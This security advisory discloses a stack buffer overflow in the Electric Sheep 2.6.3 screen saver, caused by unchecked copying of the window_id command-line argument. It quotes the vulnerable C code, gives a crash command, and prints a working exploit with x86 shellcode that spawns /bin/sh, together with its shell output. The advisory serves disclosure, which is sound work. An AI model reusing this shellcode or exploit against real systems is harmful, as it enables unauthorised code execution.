Summary
"Electric Sheep is a free, open source screen saver run by thousands of people all over the world. It can be installed on any ordinary PC or Mac."

Electric Sheep does not perform proper bounds checking on the window_id command line parameter, allowing a malicious attacker to run arbitrary code on the vulnerable machine with the permissions of the running user.

Credit:
The information has been provided by Michael Aiello and Daniel Guido.

Details
Vulnerable Systems:
* Electric Sheep version 2.6.3

Vulnerable Code:
From file electricsheep.c

419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];

if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;

if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on qbuf

Because window_id comes directly from the command line, a malicious user has the potential to supply a window_id larger than MAXBUF and corrupt surrounding memory. The vulnerability can be seen by executing the following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`

Bad integer argument for the windowid option Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option, or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault

Exploit Code:
An exploit spawing /bin/sh on SUSE Linux

narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`

Bad integer argument for the windowid option

Usage: xsetbg [global options] {[image options] image_name ...}

Type `xsetbg -help [option ...]' for information on a particular option, or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$

This local exploit to the sheep client does not pose a significant threat as electric sheep does not setuid(0). However, local exploits may be used as mechanisms for subvert command execution once a system has been compromised or used to create backdoors